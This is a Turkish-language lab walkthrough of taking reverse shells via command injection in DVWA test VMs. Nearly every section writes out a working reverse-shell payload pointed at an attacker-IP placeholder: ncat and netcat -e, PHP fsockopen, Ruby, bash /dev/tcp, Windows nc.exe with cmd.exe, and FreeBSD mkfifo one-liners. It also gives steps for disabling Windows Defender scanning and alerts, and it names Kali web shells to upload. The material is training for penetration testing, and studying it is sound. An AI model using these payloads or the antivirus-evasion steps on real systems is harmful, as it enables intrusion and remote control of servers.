DVWA Command Injection ile Reverse Shell Alma Uygulaması

İçindekiler

Uygulama 1

(+) Birebir denenmiştir ve başarıyla uygulanmıştır.

Gereksinimler

- Ubuntu 18.04 LTS // Saldırgan Sistem [Fiziksel Makina]
- DVWA - İK Test Makinesi (yt. 10-11-22) VM // Hedef Sistem [Sanal Makina]

Açıklama:

Nmap'in "reverse shell" almaya yarayan -e parametresine sahip nc sürümü olan ncat kullanılarak komut enjeksiyonu saldırısı neticesinde reverse shell alma adımları şu şekildedir:

Adımlar:

1. Hedef DVWA web uygulama sunucusunda netcat'in -e parametresine sahip bir sürümü kurulu olmalıdır. Bunun için hedef dvwa web uygulama sunucusuna nmap'in ncat utility'si kurulabilir.

DVWA Web Uygulama Sunucusu:

(!) Uyarı:

DVWA web sunucusunda apt-get ile indirmede us-archive.ubuntu.com paket repo'suna ulaşılamadı bilgisi gelebilir. Apt-get ile nmap indirmesi için

> nano /etc/apt/sources.list

dosyasındaki tüm

http://us-archive.ubuntu.com/ubuntu

adresleri

http://archive.ubuntu.com/ubuntu

yapılmalı. Ardından;

> apt-get update

yapılmalı. Böylece repo ulaşma sorunu gidiyor. Bkz.

https://askubuntu.com/questions/1198621/apt-get-cannot-connect-to-ubuntu-archives

> apt-get install nmap
> ncat -h // -e parametresi olan ve nmap tarafından hazırlanan netcat sürümü

Not:

NC'in traditional sürümü nc.traditional -h ile, openbsd sürümü nc.openbsd -h ile, nmap sürümü ncat -h ile kullanılır. Netcat'in traditional sürümünde -e parametresi vardır, Netcat'in nmap sürümünde de -e parametresi vardır, fakat netcat'in openbsd sürümünde -e parametresi yoktur.

2. Saldırgan kendi sisteminde kullandığı herhangi bir netcat sürümü ile dışarıdan gelecek bağlantıları dinleme moduna geçer:

Ubuntu 18.04 LTS Terminal:

> ufw disable // Ters kabuk bağlantısını alabilmek için ufw engel olmakta. Kapatılır.
> nc -lvp 1234

3. Saldırgan dinleme modundayken görüntülediği hedef DVWA web uygulamasının Command Injection sayfasında şu payload'u gönderir:

Hedef DVWA Web Uygulama Command Injection Sayfası Input TextBox:

127.0.0.1;ncat SALDIRGAN_SISTEMIN_IP_ADRESI 1234 -e /bin/sh

4. Payload'un DVWA web uygulama sunucusunda komut satırında çalışması sonrası saldırgan sisteme reverse shell (ters kabuk bağlantısı) gelir:

Ubuntu 18.04 LTS Terminal:

// Önceki Dinleme Modu Komut Satırı

> nc -lvp 1234

(Dinleme modundayken ekranda bir hareket olmaz, fakat shell gelir)

whoami
www-data

dir

help index.php source

cat index.php
<?php

// … Kaynak kodlar …

?>

pwd
/var/www/dvwa/vulnerabilities/exec

cd ..
pwd
/var/www/dvwa/vulnerabilities

dir
brute csrf fi sqli_blind view_help.php view_source_all.php xss_s
captcha exec sqli upload view_source.php xss_r

Uygulama 2

(+) Birebir denenmiştir ve başarıyla uygulanmıştır.

Gereksinimler

- Ubuntu 18.04 LTS // Saldırgan Sistem [Fiziksel Makina]

- DVWA - İK Test Makinesi (yt. 10-11-22) VM // Hedef Sistem [Sanal Makina]

Açıklama:

Netcat'in reverse shell almaya yarayan -e parametresine sahip traditional sürümü olan nc.traditional ile komut enjeksiyonu saldırısı neticesinde reverse shell alma adımları şu şekildedir:

Adımlar:

1. Hedef DVWA web uygulama sunucusunda netcat'in -e parametresine sahip bir sürümü kurulu olmalıdır. Bunun için hedef dvwa web uygulama sunucusuna netcat'in traditional sürümü kurulabilir.

DVWA Web Uygulama Sunucusu:

(!) Uyarı:

DVWA web sunucusunda apt-get ile indirmede us-archive.ubuntu.com paket repo'suna ulaşılamadı bilgisi gelmiştir. Apt-get ile nc traditional indirmesi için

> nano /etc/apt/sources.list

dosyasındaki tüm

http://us-archive.ubuntu.com/ubuntu

adresleri

http://archive.ubuntu.com/ubuntu

yapılmalı. Ardından;

> apt-get update

yapılmalı. Böylece repo ulaşma sorunu gidiyor. Bu işlemin akabinde apt-get ile nc traditional sorunsuz yüklenecektir. Bkz.

https://askubuntu.com/questions/1198621/apt-get-cannot-connect-to-ubuntu-archives

> sudo apt-get install netcat-traditional
> nc.traditional -h // -e parametresi olan netcat sürümü

Not:

NC'in traditional sürümü nc.traditional -h ile, openbsd sürümü nc.openbsd -h ile, nmap sürümü ncat -h ile kullanılır. Netcat'in traditional sürümünde -e parametresi vardır, Netcat'in nmap sürümünde de -e parametresi vardır, fakat netcat'in openbsd sürümünde -e parametresi yoktur.

2. Saldırgan kendi sisteminde kullandığı herhangi bir netcat sürümü ile dışarıdan gelecek bağlantıları dinleme moduna geçer:

Ubuntu 18.04 LTS Terminal:

> ufw disable // Ters kabuk bağlantısını alabilmek için ufw engel olmakta. Kapatılır.
> nc -lvp 1234

3. Saldırgan dinleme modundayken görüntülediği hedef DVWA web uygulamasının Command Injection sayfasında şu payload'u gönderir:

Hedef DVWA Web Uygulama Command Injection Sayfası Input TextBox:

127.0.0.1;nc.traditional SALDIRGAN_SISTEMIN_IP_ADRESI 1234 -e /bin/sh

4. Payload'un DVWA web uygulama sunucusunda komut satırında çalışması sonrası saldırgan sisteme dinleme modundayken reverse shell (ters kabuk bağlantısı) gelir:

Ubuntu 18.04 LTS Terminal:

// Önceki Dinleme Modu Komut Satırı

> nc -lvp 1234

(Dinleme modundayken ekranda bir hareket olmaz, fakat shell gelir)

whoami
www-data

ls
help
index.php
source

Uygulama 3

(+) Birebir denenmiştir ve başarıyla uygulanmıştır.

Gereksinimler

- Ubuntu 18.04 LTS // Saldırgan Sistem [Fiziksel Makina]

- DVWA - İK Test Makinesi (yt. 10-11-22) VM // Hedef Sistem [Sanal Makina]

Açıklama:

Hedef web uygulama PHP uygulaması olduğundan hedef web uygulama sunucusunda komut satırında çalışan php cli yüklüdür varsayımı yapılabilir. Bundan hareketle hedef web uygulamaya komut enjeksiyonu saldırısı neticesinde php cli ile reverse shell alma adımları şu şekildedir:

Adımlar:

1. Saldırgan kendi sisteminde kullandığı herhangi bir netcat sürümü ile dışarıdan gelecek bağlantıları dinleme moduna geçer:

Ubuntu 18.04 LTS Terminal:

> ufw disable // Ters kabuk bağlantısını alabilmek için ufw engel olmakta. Kapatılır.
> nc -lvp 1234

3. Hedef DVWA web uygulama PHP olduğundan web sunucuda php cli tool'u halihazırda kuruludur. Dolayısıyla php cli kulanılarak komut enjeksiyonu yapıp reverse shell alınabilir.

Hedef DVWA Web Uygulama Command Injection Sayfası Input TextBox:

127.0.0.1;php -r '$sock=fsockopen("SALDIRGAN_SISTEMIN_IP_ADRESI",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

veya

127.0.0.1;php -r '$sock=fsockopen("SALDIRGAN_SISTEMIN_IP_ADRESI",1234);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

(İki payload da hedef sistemde çalışıyor)

4. Payload’un DVWA web uygulama sunucusu komut satırında çalışması sonrası saldırgan sisteme reverse shell (ters kabuk bağlantısı) gelir:

Ubuntu 18.04 LTS Terminal:

// Önceki Dinleme Modu Komut Satırı

> nc -lvp 1234

(Dinleme modundayken ekranda bir hareket olur ve $ işareti gelir.
Böylece shell gelir)

$ **whoami**
www-data

$ **ls**
help
index.php
source

Uygulama 4

(+) Birebir denenmiştir ve başarıyla uygulanmıştır.

Gereksinimler

- Ubuntu 18.04 LTS // Saldırgan Sistem [Fiziksel Makina]

- DVWA - Windows 10 Home Premium VM // Hedef Sistem [Sanal Makina]

- netcat.exe for Windows OS.zip // Windows Netcat.exe (-e Parametreli)

Not:

netcat.exe for Windows OS.zip dosyası “~/Downloads/netcat.exe for Windows OS.zip” dizin yolunda mevcut.

Açıklama:

Netcat’in “reverse shell” almaya yarayan -e parametresine sahip windows sürümü netcat.exe ile komut enjeksiyonu saldırısı neticesinde windows web sunucudan reverse shell alma adımları şu şekildedir:

Adımlar:

1. DVWA - Windows 10 Home Premium VM’de windows netcat.exe utility’si hazırlanır.

a) Netcat.exe -e parametreli Dosyasını Windows Web Sunucu VM’e İndirme

netcat.exe for Windows OS.zip dosyası “~/Downloads/netcat.exe for Windows OS.zip” dizin yolundan alınıp Ubuntu Linux fiziksel makinadan DVWA Windows Web Sunucu VM’e smb share üzerinden atılır.

b) Windows Defender’da Tarama İstisnası Ekleme

netcat’in -e parametreli olmayanlar sorun oluşturmuyor, fakat -e parametreli binary’si virüslü şeklinde alarm üretilmesine sebep oluyor. Alarma -e parametresi sebep oluyor. Bu nedenle istisna eklenir.

i) C:\ diskine tarama yapmama istisnası eklenir.

Başlat -> Virus - Threat Protection -> Ayarları Yönet
-> Dışlamalar -> Dışarıda Bırakılanları Ekle veya Kaldır
-> Bir Dışlama Ekle -> Klasör -> C:\

ii) Tarama kapansa da virüs alarmlarında bildirim gelecektir. Dolayısıyla bildirimler de kapatılır.

Başlat -> Virus - Threat Protection -> Ayarları Yönet
-> Bildirimler -> Bildirim Ayarlarını Değiştir ->
(Hepsi Turn Off)

c) Netcat.exe’yi Windows Web Sunucu Genelinde Sistem Path’ine Ekleme

Bu Bilgisayar -> Özellikler -> Gelişmiş Sistem Ayarları -> Ortam Değişkenleri -> Path

(Yeni Satır Ekleme)

C:\Users\pentest\Desktop\nc111nt\

d) CMD’de NC Çalışıyor mu Testi

CMD:

> nc.exe -h

(Help Menusu)

2. Saldırgan kendi sisteminde kullandığı herhangi bir netcat sürümü ile dışarıdan gelecek bağlantıları dinleme moduna geçer:

Ubuntu 18.04 LTS Terminal:

> ufw disable // Ters kabuk bağlantısını alabilmek için ufw engel olmakta. Kapatılır.
> nc -lvp 1234

3. Saldırgan dinleme modundayken görüntülediği hedef DVWA web uygulamasının Command Injection sayfasında şu payload'u gönderir:

Hedef DVWA Web Uygulama Command Injection Sayfası Input TextBox:

127.0.0.1 **&&** nc.exe SALDIRGAN_SISTEMIN_IP_ADRESI 1234 -e **cmd.exe**

4. Payload'un DVWA web uygulama sunucusunda komut satırında çalışması sonrası saldırgan sisteme reverse shell (ters kabuk bağlantısı) gelir:

Ubuntu 18.04 LTS Terminal:

// Önceki Dinleme Modu Komut Satırı

> nc -lvp 1234

(Dinleme modundayken ekranda bir hareket olur ve $ işareti gelir.
Böylece shell gelir)

Microsoft Windows [Version 10.0.18362.30]
(c) 2019 Microsoft Corporation. T**[illegible]**m haklar**[illegible]** sakl**[illegible]**d**[illegible]**r.

C:\xampp\htdocs\dvwa\vulnerabilities\exec> **whoami**

desktop-h467bec\pentest

C:\xampp\htdocs\dvwa\vulnerabilities\exec> **dir**
dir
 Volume in drive C has no label.
 Volume Serial Number is 1239-9050

 Directory of C:\xampp\htdocs\dvwa\vulnerabilities\exec

29.06.2022 20:53   <DIR>   .
29.06.2022 20:53   <DIR>   ..
29.06.2022 20:53   <DIR>   help
05.10.2015 00:51   1.830 index.php
29.06.2022 20:53   <DIR>   source
               1 File(s)   1.830 bytes
               4 Dir(s) 18.625.372.160 bytes free

C:\xampp\htdocs\dvwa\vulnerabilities\exec> **systeminfo | findstr /C:"OS"**
systeminfo | findstr /C:"OS"

OS Name: Microsoft Windows 10 Home Single Language
OS Version: 10.0.18362 N/A Build 18362
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
BIOS Version: innotek GmbH VirtualBox, 1.12.2006

Uygulama 5

(+) Birebir denenmiştir ve başarıyla uygulanmıştır.

Gereksinimler

- Ubuntu 18.04 LTS // Saldırgan Sistem [Fiziksel Makina]

- DVWA - İK Test Makinesi (yt. 10-11-22) VM // Hedef Sistem [Sanal Makina]

Açıklama:

Hedef web uygulama Ruby dilinde olduğu durumda hedef web uygulama sunucusunda komut satırında çalışan ruby cli kullanılabilir. Bundan hareketle hedef web uygulamaya komut enjeksiyonu saldırsı neticesinde ruby cli ile reverse shell alma adımları şu şekildedir:

Bilgi:

Ruby dilinde bir web uygulamadan reverse shell alma demosunu simule etmek için hedef web sunucuya ruby kurulmuştur. Saldırgan sistemde dinleme moduna geçilmiştir. Hedef sistemde ruby reverse shell payload'u komut satırına elle girilerek ters bağlantı elde edilmiştir. Bu uygulama ile ruby dilinde yazılmış web uygulamaya komut enjeksiyonu yapıldığında payload'un web sunucu komut satırında çalışması ve ters bağlantı göndermesi "simule" edilmiştir.

(!) Uyarı:

Kullanılan ruby reverse shell payload'u her ruby sürümünde çalışmamaktadır. Örneğin Ubuntu 18.04 LTS linux fiziksel makinesindeki ruby 2.5.1p57 'inde çalışmamıştır, fakat DVWA - İK Test Makinası (yt. 10-11-22) VM'deki ruby 1.9.3p484 'ünde çalışmıştır.

Adımlar:

1. Hedef web sunucuya Ruby kurulur.

DVWA - İK Test Makinası VM Terminal:

(!) Uyarı:

DVWA web sunucusunda apt-get ile indirmede us-archive.ubuntu.com paket repo'suna ulaşılamadı bilgisi gelebilir. Apt-get ile ruby indirmesi için

> nano /etc/apt/sources.list

dosyasındaki tüm

http://us-archive.ubuntu.com/ubuntu

adresleri

http://archive.ubuntu.com/ubuntu

yapılmalı. Ardından;

> apt-get update

yapılmalı. Böylece repo ulaşma sorunu gidiyor. Bu işlemin akabinde apt-get ile ruby sorunsuz yüklenecektir. Bkz.

https://askubuntu.com/questions/1198621/apt-get-cannot-connect-to-ubuntu-archives

> apt-get install ruby
> ruby -v

Çıktı:

ruby 1.9.3p484 (2013-11-22 revision 43786) [x86_64-linux]

2. Saldırgan sistemde dinleme moduna geçilir

Ubuntu 18.04 LTS Linux Terminal:

> ufw disable // Ters kabuk bağlantısını alabilmek için ufw engel olmakta. Kapatılır.
> nc -lvp 1234

3. Hedef sistemde ruby dilindeki reverse shell payload'u elle komut satırına girilir.

DVWA - İK Test Makinası VM Terminal:

> ruby -rsocket -e'f=TCPSocket.open("SALDIRGANIN_IP_ADRESI",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

(!) Uyarı:

Ruby reverse shell payload'u DVWA - İK Test Makinası VM'e kopyalayıp komut satırında çalıştırmak için şu adımlar izlenebilir:

(+) Birebir denendi ve işe yaradı.

a. Payload'a Attacker IP Adresini Koyma

Bu adımda payload'daki IP adres saldırganın ip adresi şeklinde güncellenir.

a. SCP ile Payload'u Txt Halinde Gönderme

Ubuntu 18.04 LTS:

> scp payload.txt user@DVWA_IK_VM_IP:/home/user/

b. Txt'deki Payload'u Hedef VM'in Komut Satırında Çalıştırma

DVWA - İK Test Makinası VM:

> bash payload.txt

c. Sonuç

Bu adımlar neticesinde ruby reverse shell payload'u bash komut satırında çalışacaktır ve reverse shell saldırgan sistemde alınacaktır.

4. Dinleme modundayken reverse shell gelir.

Ubuntu 18.04 LTS Linux Terminal:

// Önceki Dinleme Modu Komut Satırı

> nc -lvp 1234

(Dinleme modundayken ekranda # görünür ve shell gelir.)

whoami
root

hostname
iktestmakinesi

Uygulama 6

(+) Birebir denenmiştir ve başarıyla uygulanmıştır.

Gereksinimler

- Ubuntu 18.04 LTS // Saldırgan ve Hedef Sistem Aynı [Fiziksel Makina]

Açıklama:

Hedef web uygulama linux bir web sunucu olduğunda hedef web uygulamaya komut enjeksiyonu saldırısı neticesinde bash script dilinde reverse shell alma adımları şu şekildedir:

Bilgi:

Web uygulama arayüzünden komut enjeksiyonu yaparak bash reverse shell payload'u enjekte etme ve saldırganın reverse shell alması demosunu simule etmek için aynı sistemde bir terminal ekranında dinleme moduna geçme, diğer terminal ekranında elle komut satırına bash reverse shell payload'unu girme uygulanmıştır ve bu şekilde reverse shell elde edilerek payload'un çalışırlığı doğrulanmıştır.

(!) Uyarı:

Bazı bash versiyonları bash reverse shell göndermeyi destekliyor, bazıları desteklemiyor. Örneğin Ubuntu 18.04 LTS Linux'un bash'i reverse shell oluşturmayı destekliyor.

Adımlar:

1. Birinci terminalde önce dinleme moduna geçilir

    Ubuntu 18.04 LTS Linux Terminal 1:

    // hefese kullanıcısı haklarında dinleme moduna geçilir.

    > ufw disable // Ters kabuk bağlantısını alabilmek için ufw engel olmakta. Kapatılır.
    > su - hefese
    hefese@HASANFSIMSEK> nc -lvp 1234

2. İkinci terminalde bash script dilindeki reverse shell payload'u komut satırına girilir.

    Ubuntu 18.04 LTS Linux Terminal 2:

    // root kullanıcısı haklarında reverse shell gönderilecektir.

    > sudo su
    > bash -i >& /dev/tcp/SALDIRGANIN_IP_ADRESI/1234 0>&1

3. Birinci terminale reverse shell gelir.

    Ubuntu 18.04 LTS Linux Terminal 1:

    // Önceki Dinleme Modu Komut Satırı

    hefese@HASANFSIMSEK> nc -l -p 1234

    (hefese kullanıcısı ile dinleme modundayken ekrana root haklarındaki ikinci terminal sekmesinin komut satırı gelir.)

    root@HASANFSIMSEK:/home/hefese# whoami
    whoami
    root

4. Böylece bash reverse shell payload'unun çalışırlığı bu lab ortamı ile teyit edilmiş olur.

Sonuç

Command Injection saldırılarında hedef web sunucuda hangi reverse shell utility'si varsa (ncat, nc.traditional, php, ruby, csharp,...) onla reverse shell bağlantısı oluşturulabilir ve bu çeşitli utility'lerden gelen ters bağlantıların tümü istemci tarafta herhangi bir nc tool'u ile yakalanabilir.

"Reverse shell" almaya yarayan -e parametresi ile kullanılan netcat tool'u production sistemlerde çok nadiren yer alır. İlaveten production sistemlerde netcat'in birçok versiyonu -e parametresini desteklemez. Dolayısıyla pratikte command injection saldırısı yapmada nc'yi -e ile kullanma ve reverse shell alma senaryosu mümkün olmayabilir. Fakat php cli, ruby cli, v.b. utility'ler ile reverse shell alma senaryosu işlevseldir.

Ayrıca hedef web uygulamada file upload zafiyeti varsa uygulamanın programlama dilinde (örn; c, java, c#, v.b. dillerde) reverse shell kodu içeren web sayfası yüklenebilir ve web tarayıcıda bu

dosyaya giderek dosyadaki kodların tetiklenmesiyle reverse shell herhangi bir nc tool'u ile yakalanabilir.

Buna ilaveten hedef web uygulamanın bir web sayfası - tıpkı bir saha görevinde denk geldiğin gibi - kullandığı programlama dilindeki kodları alıyor ve run ediyorsa (çalıştırıyorsa) bu durumda web uygulamanın girdi olarak aldığı uygulama dilindeki kodlarını çalıştırma arayüzüne reverse shell oluşturan uygulama dili (örn; c#) kodu konulabilir ve istemci tarafta herhangi bir nc tool'u ile reverse shell yakalanabilir.

Not:

Eğer web uygulamada upload'lama yapabilir durumdaysak Kali Linux'taki şu "reverse shell" veren web shell'leri web uygulamaya upload'layabiliriz.

Kali Linux:

> cd /usr/share/webshells/
> dir

Çıktı:

asp aspx cfm jsp laudanum perl php seclists

Bu web shell'lerin içerisindeki IP ve PORT bilgini güncelleyerek web uygulamaya upload'ladıktan sonra nc ile dinleme modunda kalabilir ve web shell'leri web tarayıcıda görüntülediğimizde payload'ların tetiklenmesi sonucu gelen reverse shell bağlantılarını yakalayabiliriz.

EK Not:

(-) Birebir denenmemiştir.

FreeBSD sistemlerde telnet ve netcat kullanılarak reverse shell alınabilir:

> rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|**telnet** AttackerIP 8080 > /tmp/f

veya

> rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |**telnet** AttackerIP 8080 > /tmp/f

veya

> rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |**nc** AttackerIP 8080 > /tmp/f

Bu kodlar FreeBSD OS sistemlerden reverse shell bağlantısı oluşturur. Saldırgan makinada nc ile bu oluşan ters bağlantılar yakalanabilir.

Kaynak:

https://null-byte.wonderhowto.com/how-to/use-command-injection-pop-reverse-shell-web-server-0185760/

https://null-byte.wonderhowto.com/how-to/hack-like-pro-use-netcat-swiss-army-knife-hacking-tools-0148657/
https://unix.stackexchange.com/questions/583473/invalid-option-e-in-netcat
https://stackoverflow.com/questions/6269311/emulating-netcat-e
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://askubuntu.com/questions/1198621/apt-get-cannot-connect-to-ubuntu-archives
https://hackersinterview.com/oscp/reverse-shell-one-liners-oscp-cheatsheet/
https://sentrywhale.com/documentation/reverse-shell
https://highon.coffee/blog/reverse-shell-cheat-sheet/